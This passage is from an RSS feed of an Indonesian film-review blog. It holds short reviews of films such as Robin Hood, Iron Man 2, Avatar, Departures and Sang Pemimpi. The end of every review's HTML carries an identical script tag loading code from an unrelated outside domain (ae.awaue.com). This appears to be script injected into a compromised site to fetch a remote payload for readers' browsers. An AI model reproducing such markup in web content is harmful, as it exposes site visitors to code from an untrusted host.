]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/green-zone.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Robin Hood</title>
		<link>http://hermansaksono.com/2010/05/robin-hood.html</link>
		<comments>http://hermansaksono.com/2010/05/robin-hood.html#comments</comments>
		<pubDate>Wed, 12 May 2010 18:00:36 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1128</guid>
		<description><![CDATA[Pada awalnya memang terasa menyegarkan ketika Robin Hood garapan Ridley Scott ini sengaja dibuat melenceng dari cerita Robin Hood yang selama ini sudah &#8220;baku&#8221; di Hollywood. Tetapi Ridley mulai terasa berlebihan ketika ia terus berimprovisasi dengan mengaitkan kisah Robin Hood dengan kejadian-kejadian historis seperti Magna Charta dan perang Inggris-Perancis. Terlihat jelas bahwa Ridley bermaksud memberi [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Robin_Hood_2010.jpg"><img class="aligncenter size-full wp-image-1129" title="Robin Hood 2010" src="http://hermansaksono.com/wp-content/uploads/2010/05/Robin_Hood_2010.jpg" alt="" width="296" height="438" /></a></p>
<p>Pada awalnya memang terasa menyegarkan ketika Robin Hood garapan <abbr title="Gladiator, Kingdom of Heaven">Ridley Scott</abbr> ini sengaja dibuat melenceng dari cerita Robin Hood yang selama ini sudah &#8220;baku&#8221; di Hollywood. Tetapi Ridley mulai terasa berlebihan ketika ia terus berimprovisasi dengan mengaitkan kisah Robin Hood dengan kejadian-kejadian historis seperti Magna Charta dan perang Inggris-Perancis.</p>
<p>Terlihat jelas bahwa Ridley bermaksud memberi motif dan latar belakang baru bagi karakter Robin Hood, Marion, Sheriff of Nottingham, dan Prince John. Lagipula ini adalah film pertama dari beberapa rangkaian sequel. Tetapi, karena itu semua dibangun melalui alur cerita yang sangat padat, maka tidak tersisa ruang untuk mendalami perwatakan tiap tokoh. Tidak ada waktu untuk mengeskplorasi dengan baik hubungan antara Robin dengan Marion ataupun dengan kawannya si Little John. Rasanya persis seperti ketika nonton Hercules dan Xena di televisi di mana semua berlalu cepat tanpa meninggalkan  kesan. Gaya penuturan seperti ini menjebak <abbr title="Gladiator, A Beautiful Mind">Russel Crowe</abbr> menjadi Robin Hood yang  dangkal dan tidak mengesankan.</p>
<p>Dan tentu saja ini mengecewakan, karena ketika melihat Ridley Scott ditulis bersebelahan dengan Russel Crowe, kita mengharapkan sesuatu yang sekelas Gladiator. Untung ada Cate Blanchett yang bisa tampil mengagumkan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/robin-hood.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>How To Train Your Dragon</title>
		<link>http://hermansaksono.com/2010/05/how-to-train-your-dragon.html</link>
		<comments>http://hermansaksono.com/2010/05/how-to-train-your-dragon.html#comments</comments>
		<pubDate>Thu, 06 May 2010 07:35:16 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1120</guid>
		<description><![CDATA[Jika Anda merasa tokoh Stitch (kiri) dan Toothless (kanan) mirip, Anda tidak salah. &#8220;Lilo and Stitch&#8221; dan Toothless dari &#8220;How to Train Your Dragon&#8221;, sama-sama disutradarai oleh Chris Sanders dan Dean DuBois. Bedanya, film pertama di bawah bendera Disney dan film kedua di bawah Dreamworks Animation. Mengingat Disney dan Dreamworks Animation itu musuhan lantaran CEO [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Toothless-And-Stitch-How-to-Train-Your-Dragon.jpg"><img class="aligncenter size-full wp-image-1121" title="Toothless-And-Stitch,-How-to-Train-Your-Dragon" src="http://hermansaksono.com/wp-content/uploads/2010/05/Toothless-And-Stitch-How-to-Train-Your-Dragon.jpg" alt="" width="400" height="217" /></a></p>
<p>Jika Anda merasa tokoh Stitch (kiri) dan Toothless (kanan) mirip, Anda tidak salah. &#8220;Lilo and Stitch&#8221; dan Toothless dari &#8220;How to Train Your Dragon&#8221;, sama-sama disutradarai oleh Chris Sanders dan Dean DuBois. Bedanya, film pertama di bawah bendera Disney dan film kedua di bawah Dreamworks Animation.</p>
<p>Mengingat Disney dan Dreamworks Animation itu musuhan lantaran CEO Dreamworks Jeffrey Katzenberg pernah ribut dengan mantan CEO Disney (hingga akhirnya mendirikan studio sendiri), pertanyaannya adalah: Apakah Dragon bisa mengungguli film-film Disney, setidaknya Lilo and Stitch?</p>
<p>Dragon adalah era pencerahan bagi Dreamworks yang selama ini terlalu sering terjebak pada film-film yang kelewat ngepop semacam Shrek, Madagascar, dan Kung Fu Panda. Kisah tentang pemuda Viking yang ceking dan tidak tega membunuh naga terasa menyegarkan. Karakter naga Toothless peliharaan pemuda Viking itu juga digarap dengan bagus sehingga sangat adorable. Sayangnya, kisah tentang pecundang dengan bakat rahasia sudah terlalu sering dipakai Disney dan Dreamworks.</p>
<p>Jadi apakah Chris Sanders dan Dean DuBois telah membuat magnum opus yang melampaui Lilo and Stich? Tidak. Belum. Apakah duo itu telah menyelamatkan Dreamworks? Iya.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/how-to-train-your-dragon.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Iron Man 2</title>
		<link>http://hermansaksono.com/2010/05/iron-man-2.html</link>
		<comments>http://hermansaksono.com/2010/05/iron-man-2.html#comments</comments>
		<pubDate>Sat, 01 May 2010 04:25:55 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1112</guid>
		<description><![CDATA[Penggemar Terrence Howard berkecewalah. Tokoh Kolonel Rhodey yang di Iron Man pertama diperankan Howard, kini diganti oleh Don Cheadle. Cheadle, tentu saja, adalah aktor yang bagus. Tetapi Howard punya persona yang susah dialihkan ke Cheadle. Konon sutradara Jan Favreau (dia juga memerankan Happy, sopirnya Stark) tidak cocok dengan Howard. Adegan Howard di Iron Man sering [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://hermansaksono.com/wp-content/uploads/2010/05/Iron_Man_2.jpg"><img class="aligncenter" title="Iron Man 2" src="http://hermansaksono.com/wp-content/uploads/2010/05/Iron_Man_2.jpg" alt="" width="299" height="442" /></a></p>
<p>Penggemar Terrence Howard berkecewalah. Tokoh Kolonel Rhodey yang di Iron Man pertama diperankan Howard, kini diganti oleh Don Cheadle. Cheadle, tentu saja, adalah aktor yang bagus. Tetapi Howard punya persona yang susah dialihkan ke Cheadle. Konon sutradara Jan Favreau (dia juga memerankan Happy, sopirnya Stark) tidak cocok dengan Howard. Adegan Howard di Iron Man sering diulang pengambilannya, dan beberapa dicungkil di ruang editing.</p>
<p>Tetapi hilangnya Howard bukan masalah Iron Man 2, masalahnya ada di gelegar Iron Man pertama yang banyak hilang-hilang di sequel ini. Konflik tentang perusahaan senjata kompetitor yang main curang misalnya, kurang mengancam. Greget adegan kelahi dengan musuh bernama Ivan Vanko (Mickey Rouke) juga berhenti di 90% dan tidak dimentokkan sampai 100% atau lebih. Penonton yang ditinggalkan dalam kondisi greget 90% tentu saja merasa geregetan. Dan ini adalah masalah besar, karena sequel kedua adalah jantung trilogi superhero.</p>
<p>Untung saja ada peran Pepper Potts (Gwyneth Paltrow) yang mensuspensi Iron Man 2 dari karam. Walaupun karakter Tony &#8220;Iron Man&#8221; Stark (Robert Downey Jr.) tidak dieksplorasi lebih dalam, tetapi Downey sukses melantunkan beberapa sarkasme khas Stark dengan manis. Andai saja akting sangar Mickey Rouke mendapat jatah untuk menggulirkan cerita, mungkin Iron Man 2 akan luar biasa. Tetapi karena Rouke hanya berperan di perimeter pinggir, saya cuma bisa berharap Iron Man 3 nanti bisa meraih antusiasme yang banyak.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/05/iron-man-2.html/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Up in the Air</title>
		<link>http://hermansaksono.com/2010/01/up-in-the-air.html</link>
		<comments>http://hermansaksono.com/2010/01/up-in-the-air.html#comments</comments>
		<pubDate>Fri, 22 Jan 2010 04:48:17 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=982</guid>
		<description><![CDATA[Ryan Bingham tinggal di udara. Kabin kelas satu adalah rumahnya, lounge bandara tempat ia sarapan, dan kamar Hilton adalah tempat ia kencan. Tujuan hidupnya mengumpulkan satu juta mil point frequent flyer, dan—sejujurnya—Bingham menikmati gaya hidup itu. Jika ada satu tempat yang susah ia nikmati, adalah satu: apartemen sesak di alamat suratnya.]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/01/Up_in_the_Air_Poster.jpg"><img class="aligncenter size-full wp-image-983" title="Up in the Air" src="http://hermansaksono.com/wp-content/uploads/2010/01/Up_in_the_Air_Poster.jpg" alt="Up in the Air" width="300" height="444" /></a></p>
<blockquote><p>Malam ini, ribuan orang akan pulang ke rumah, disambut anjing yang meloncat-loncat gembira dan riuhnya putra-putri mereka. Ribuan orang akan tidur nyenyak di samping pasangannya ketika bintang-bintang telah menggelinding maju dari peraduannya. Dan satu dari bintang-bintang itu, yang sedikit lebih terang, adalah lampu sayapku.</p></blockquote>
<p>Ryan Bingham tinggal di udara. Kabin kelas satu adalah rumahnya, <em>lounge</em> bandara tempat ia sarapan, dan kamar Hilton adalah tempat ia kencan. Tujuan hidupnya mengumpulkan satu juta mil poin <em>frequent flyer</em>, dan—sejujurnya—Bingham menikmati gaya hidup itu. Jika ada satu tempat yang susah ia nikmati, adalah satu: apartemen sesak di alamat suratnya.</p>
<p>Pekerjaan Bingham (George Clooney) adalah berkeliling Amerika membantu bos-bos yang terlalu pengecut untuk memecat bawahannya. Dengan kata lain: juru pecat—profesi yang di era resesi melejit tajam. Tapi gaya hidupnya yang terisolasi terancam berubah total ketika anak kemarin sore lulusan Cornell merancang ulang aturan main kantornya. Pemecatan tidak lagi dilakukan melalui tatap muka, tetapi lewat webcam, melalui internet. Tidak ada lagi yang namanya hidup di udara.</p>
<p>Anak kemarin sore itu adalah Natalie Kenner (Anna Kendrick). Dan bosnya menyuruh Bingham mementori Natalie supaya ngelotok benar dengan industri pemecatan. Tentu saja hubungan mereka tidak gampang. Natalie yang naif dan meyakini cinta, pernikahan, dan membesarkan anak, adalah antitesis dari Bingham. Permasalahannya bukan apakah mereka akan cocok, tapi bagaimana mereka dapat saling mengubah, apalagi dengan munculnya sosok Alex (Vera Farmiga), seorang eksekutif wanita yang seperti replika Bingham tetapi punya vagina.</p>
<p>Di sini George Clooney memang memerankan tokoh keahilannya, suave, parlente, keren. Dan walaupun topik PHK memang tema yang sangat aktual, film adaptasi novel ini tidak meninggalkan cabikan yang mendalam. Setidaknya tidak meninggalkan cabikan yang mendalam bagi juri Golden Globe.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/up-in-the-air.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Departures (Okuribito)</title>
		<link>http://hermansaksono.com/2010/01/departures-okuribito.html</link>
		<comments>http://hermansaksono.com/2010/01/departures-okuribito.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 03:52:01 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=960</guid>
		<description><![CDATA[Orang Jepang mengenal ritual nōkan. Mensucikan jenazah di hadapan keluarga yang ditinggalkan sebagai bentuk penghormatan terakhir bagi ia yang mangkat. Diago Kobayashi mengira dia melamar ke agen travel, bukan agen nōkan.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-961" title="departures" src="http://hermansaksono.com/wp-content/uploads/2010/01/departures-334x500.jpg" alt="departures" width="334" height="500" /></p>
<p>Orang Jepang mengenal ritual nōkan. Mensucikan jenazah di hadapan keluarga yang ditinggalkan sebagai bentuk penghormatan terakhir bagi ia yang mangkat.</p>
<p>Diago Kobayashi (Masahiro Motoki) tidak pernah bercita-cita menjadi juru nōkan. Cita-citanya adalah menjadi pemain cello. Dia terpaksa melamar menjadi nōkan di desa tempat ia besar setelah kelompok simponinya di Tokyo bubar. Itupun tanpa sengaja lantaran koran salah mencetak lowongan kerja di agen “Departures” (keberangkatan) di mana mustinya dicetak “Departed” (kemangkatan). Diago mengira dia melamar ke agen travel, bukan agen nōkan.</p>
<p>Tetapi penghormatan kepada jenazah tidak jauh berbeda dengan musik klasik yang musti diperlakukan dengan hormat dan lembut. Semakin lama seni baru itu ia geluti, Diago menemukan detak hidup baru dan menguak potongan hidup yang selama ini telah ia tinggalkan. Dan seperti kehidupan, Departures tidak melulu soal hal-hal pahit, dalam beberapa saat selalu ada kekonyolan yang membuat ceritanya utuh.</p>
<p>Maka sudah pada tempatnya jika film Yōjirō Takita memenangkan Oscar untuk film bahasa asing terbaik dan Academy Awards Jepang, juga untuk film terbaik. Kepiawaian Masahiro Motoki memainkan perannya mendorong alur cerita mengalir dengan penuh hati-hati, menyelami kerapuhan hidup.</p>
<p>Ini adalah salah satu film bagus yang pernah saya tonton dan akan nangkring dalam rak ingatan di mana film favorit dijajarkan dengan rapih.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/departures-okuribito.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>The Princess and the Frog</title>
		<link>http://hermansaksono.com/2010/01/the-princess-and-the-frog.html</link>
		<comments>http://hermansaksono.com/2010/01/the-princess-and-the-frog.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 04:02:44 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=956</guid>
		<description><![CDATA[Tahun 2004, di antara hiruk-pikuk film-film animasi 3D yang terus bersemai, CEO Walt Disney Company memutuskan untuk stop membuat film animasi 2D, dan selanjutnya hanya membuat film 3D. Tidak ada lagi film-film animasi gambaran tangan sekelas Pinnochio, Beauty and the Beast, Lion King. Tapi itu 2004. Tahun 2005 Micheal Eisner, si CEO, mundur dari jabatannya [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-full wp-image-957" title="The Princess and the Frog, Disney" src="http://hermansaksono.com/wp-content/uploads/2010/01/frog_official_poster_500.jpg" alt="frog_official_poster_500" width="280" height="436" /></p>
<p style="text-align: left;">Tahun 2004, di antara hiruk-pikuk film-film animasi 3D yang terus bersemai, CEO Walt Disney Company memutuskan untuk stop membuat film animasi 2D, dan selanjutnya hanya membuat film 3D. Tidak ada lagi film-film animasi gambaran tangan sekelas Pinnochio, Beauty and the Beast, Lion King.</p>
<p>Tapi itu 2004.</p>
<p>Tahun 2005 Micheal Eisner, si CEO, mundur dari jabatannya setelah ditekan oleh kampanye Save Disney yang dibidani oleh kemenakan mendiang Walt Disney, Roy Disney. Tahun 2006, Disney mengakuisisi Pixar. Dan di tahun yang sama, Disney dengan lantang dan mengejutkan menyatakan kalau studio animasi itu akan kembali membuat film animasi 2D berjudul The Princess and the Frog.</p>
<p>Jadi musti dimengerti bahwa Princess bukan sekedar film, tetapi juga taruhan. Juga bukan sekadar taruhan di box office, tapi juga taruhan apakah animasi gambaran tangan masih bisa bertarung dengan animasi 3D, atau sudah waktunya pensiun dari pangkat seni komersil dan menyelinap pelan untuk disimpan di museum.</p>
<p>Sayangnya animasi hanyalah medium, pada esensinya ia “cuma” film yang tetap mengadalkan karakter, visual, suara dan alur cerita yang pas. Walaupun animasi Princess sangat halus lentur, dan visualnya sangat cantik, tapi ceritanya terasa baru digarap sebulan yang lalu.</p>
<p>Padahal premisnya sudah sangat menjanjikan. Tahun 1912. Musik jazz. New Orleans yang romantis. Tokoh gadis kulit hitam workaholic di era presiden kulit hitam. Dongeng anak-anak yang diputarbalikkan.</p>
<p>Tiana, princess Disney kulit hitam pertama ini, bercita-cita membuka restoran sendiri. Alih-alih punya restoran, gedung restorannya diserobot oleh orang lain, dan ia justru disihir menjadi katak karena mencium katak. Katak yang ia cium sebetulnya adalah pangeran Naveen yang disihir oleh Doctor Pacifier, dukun voodoo tukang tipu.</p>
<p>Rasanya mustahil kalau Princess bisa disandingkan dengan Lion King atau Beauty and The Beast. Tapi bisa jadi ini adalah film animasi gambaran tangan Disney yang terakhir dalam beberapa tahun ke depan, tidak ada salahnya ditonton sebelum benar-benar punah.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/01/the-princess-and-the-frog.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Avatar</title>
		<link>http://hermansaksono.com/2009/12/avatar.html</link>
		<comments>http://hermansaksono.com/2009/12/avatar.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 03:08:58 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=954</guid>
		<description><![CDATA[Tahun 2154, eks marinir Jake Sully (Sam Worthington) dikirim ke planet Pandora untuk meneliti penduduk pribumi yang disebut Na’vi. Mereka adalah humanoid jangkung warna biru yang tinggal di sebuah pohon raksasa keramat. Di sekitar pohon keramat ini banyak terdapat unsur langka bernama Unobtainium yang ingin diekplorasi perusahaan Jake. Untuk mempermudah penelitian, ilmuwan membuat avatar Na’vi [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-952" title="avatar-teaser-poster" src="http://hermansaksono.com/wp-content/uploads/2009/12/avatar-teaser-poster.jpg" alt="avatar-teaser-poster" width="298" height="442" /></p>
<p>Tahun 2154, eks marinir Jake Sully (Sam Worthington) dikirim ke planet Pandora untuk meneliti penduduk pribumi yang disebut Na’vi. Mereka adalah humanoid jangkung warna biru yang tinggal di sebuah pohon raksasa keramat. Di sekitar pohon keramat ini banyak terdapat unsur langka bernama Unobtainium yang ingin diekplorasi perusahaan Jake.</p>
<p>Untuk mempermudah penelitian, ilmuwan membuat avatar Na’vi yang bisa diatur manusia. Sully yang kakinya lumpuh dimasukkan ke dalam alat yang bisa mengendalikan avatar Na’vinya (yang tidak lumpuh). Dalam ekspedisinya, Sully bertemu dengan gadis Na’vi bernama Neytiri (Zoe Saldaña) putri si bapak kepala suku.</p>
<p><img class="aligncenter size-medium wp-image-953" title="avatarx-topper-medium" src="http://hermansaksono.com/wp-content/uploads/2009/12/avatarx-topper-medium-380x193.jpg" alt="avatarx-topper-medium" width="380" height="193" /><br />
Tema film besutan James Cameron (Terminator, Titanic) ini mirip ketika bangsa Eropa mengkoloni benua Amerika. Seperti bangsa Indian, penduduk asli Pandora memiliki ikatan yang kuat dengan alamnya, yang sekaligus kritik bagi manusia yang sudah habis-habisan memperkosa bumi. Misi utama Sully untuk bernegosiasi dengan suku Na’vi supaya bersedia relokasi ke tempat lain jadi terlupakan karena ia terlanjur jatuh cinta dengan alam, budaya, dan gadis Na&#8217;vi.</p>
<p>Tidak ada dobrakan baru dari segi cerita film 3 jam ini. Bisa dibilang ceritanya sangat taat dengan tatacara Hollywood. Cuma saja, film tidak hanya sekadar cerita. Film adalah dialog, visual, suara, ekspresi, musik, dan cerita yang bekerja bersama-sama. Dan Avatar membuat unsur-unsur itu terjalin dengan dahsyat dan luar biasa.</p>
<p>Anda akan menyukai gambar-gambar yang indah dan alur film yang seru. Dan pada akhirnya Anda akan lebih sayang bumi.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/12/avatar.html/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Sang Pemimpi</title>
		<link>http://hermansaksono.com/2009/12/sang-pemimpi.html</link>
		<comments>http://hermansaksono.com/2009/12/sang-pemimpi.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 03:04:46 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=950</guid>
		<description><![CDATA[Indonesia bukan negara yang dibangun atas mimpi, karena di sini, mimpi pupus adalah sesuatu yang rutin dan wajar. Sang Pemimpi mencoba menularkan semangat bahwa kita masih boleh bermimpi, semustahil apapun itu. Mimpi Ikal adalah sekolah di Paris, demikian juga Arai. Repotnya mereka hanya anak-anak miskin yang sekolah di SMA kecil Bangka yang ketika lulus mentoknya [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-medium wp-image-951" title="sang_pemimpi_film" src="http://hermansaksono.com/wp-content/uploads/2009/12/sang_pemimpi_film-319x500.jpg" alt="sang_pemimpi_film" width="319" height="500" /></p>
<p>Indonesia bukan negara yang dibangun atas mimpi, karena di sini, mimpi pupus adalah sesuatu yang rutin dan wajar. Sang Pemimpi mencoba menularkan semangat bahwa kita masih boleh bermimpi, semustahil apapun itu.</p>
<p>Mimpi Ikal adalah sekolah di Paris, demikian juga Arai. Repotnya mereka hanya anak-anak miskin yang sekolah di SMA kecil Bangka yang ketika lulus mentoknya cuma jadi buruh. Ikal yang secara alami condong mengikuti arus, bersama-sama Arai berusaha mewujudkan cita-cita besar mereka dalam berbagai keterbatasan.</p>
<p>Jika <a href="http://hermansaksono.com/2008/09/laskar-pelangi.html">Laskar Pelangi</a> jadi jawara karena gambarnya indah dan permainannya bagus, maka Sang Pemimpi justru menjadi antitesanya. Sinematografinya seperti mentah karena tidak ada lagi gambar-gambar yang membelai ataupun mencabik . Akting-aktingnya Ikal dan Arai remaja juga tidak meyakinkan, apalagi Lukman Sardi dan Nugie.</p>
<p>Hambarnya dua itu, membuat Sang Pemimpi terjebak untuk bertutur dalam alur dan narasi saja. Sayangnya narasi Lukman Sardi datar, dan alurnya juga pelan. Iya sayang sekali, materi dengan sangat kaya potensi ini tidak maksimal digarap Mira Lesmana dan Riri Riza.</p>
<p>Tapi tentu saja Sang Pemimpi seratus kali lebih baik daripada <a href="http://hermansaksono.com/2009/12/air-terjun-pengantin.html">Air Terjun Pengantin</a>.</p>
<p>Review lain:</p>
<ul>
<li><a href="http://choro.wordpress.com/2009/12/17/yang-sang-pemimpi/">Yang Sang Pemimpi</a> dari Choro</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/12/sang-pemimpi.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Air Terjun Pengantin</title>
		<link>http://hermansaksono.com/2009/12/air-terjun-pengantin.html</link>
		<comments>http://hermansaksono.com/2009/12/air-terjun-pengantin.html#comments</comments>
		<pubDate>Mon, 14 Dec 2009 05:42:45 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=945</guid>
		<description><![CDATA[Film dibuka dengan gambar Tamara Blesynski bermadu asmara dengan pacarnya, lalu disambung adegan Tamara, Tyas Miarsih, Jenny Cortez dan kawan-kawannya berbikini di pantai sambil main-main air. Mereka memang sedang berlibur, di Pulau Pengantin tepatnya. Ini bukan pulau sembarangan karena selain dulunya adalah perkampungan (yang sekarang sudah ditinggalkan), Pulau Pengantin juga bekas pabrik pengalengan ikan, benteng [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-946" title="air_terjun_pengantin" src="http://hermansaksono.com/wp-content/uploads/2009/12/air_terjun_pengantin.jpg" alt="air_terjun_pengantin" width="240" height="348" /></p>
<p>Film dibuka dengan gambar Tamara Blesynski bermadu asmara dengan pacarnya, lalu disambung adegan Tamara, Tyas Miarsih, Jenny Cortez dan kawan-kawannya berbikini di pantai sambil main-main air.</p>
<p>Mereka memang sedang berlibur, di Pulau Pengantin tepatnya. Ini bukan pulau sembarangan karena selain dulunya adalah perkampungan (yang sekarang sudah ditinggalkan), Pulau Pengantin juga bekas pabrik pengalengan ikan, benteng VOC, dan kuburan Belanda. Lengkap sekali.</p>
<p>Setelah puas menggeliat ke kiri kanan pasir pantai, gerombolan muda-mudi liberal itu menuju air terjun pengantin. Di sana mereka melihat bangunan tua yang rupanya bekas pabrik pengalengan ikan. Walaupun sudah lama ditinggalkan, tetapi <em>shower</em> kamar mandinya masih berfungsi sehingga memancing gadis-gadis itu untuk mandi karena kepanasan. Siapa yang tidak sih?</p>
<p>Tapi pulau itu menyimpan ancaman maut. Salah seorang dari gadis-gadis itu diculik oleh orang aneh bertopeng petruk. Orang itu memotong kaki dan jari gadis itu hidup-hidup. Sangat menjijikan (bukan mengerikan). Akan tetapi, alih-alih menjerit kesakitan, si gadis malah melenguh keenakan (yang saya yakin ini cuma akting yang buruk, bukan menggenjot aspek erotika film ini).</p>
<p>Pada titik ini saya menyimpulkan kalau film ini jelek dan tidak <em>worthy</em> untuk ditonton. Tanpa menyia-nyiakan waktu saya langsung keluar bioskop dan memesan Ca Baby Kailan. Jadi jangan tanya endingnya seperti apa. Ok?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/12/air-terjun-pengantin.html/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>
